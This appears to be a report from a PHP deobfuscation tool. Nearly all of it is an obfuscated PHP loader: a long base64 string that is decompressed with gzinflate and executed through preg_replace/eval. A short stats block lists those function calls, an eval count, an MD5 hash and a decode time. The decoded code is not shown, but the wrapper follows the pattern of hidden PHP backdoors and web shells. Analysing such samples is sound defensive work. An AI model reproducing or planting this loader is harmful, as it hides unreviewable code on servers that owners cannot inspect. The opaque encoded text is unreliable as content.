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'\x29\x29\x29\x29\x3B", "."); ?>

Function Calls

base64_decode 1
gzinflate 1
preg_replace 1

Variables

None

Stats

MD5 01f53a55ad8b348ce2d7530d5827450b
Eval Count 2
Decode Time 502 ms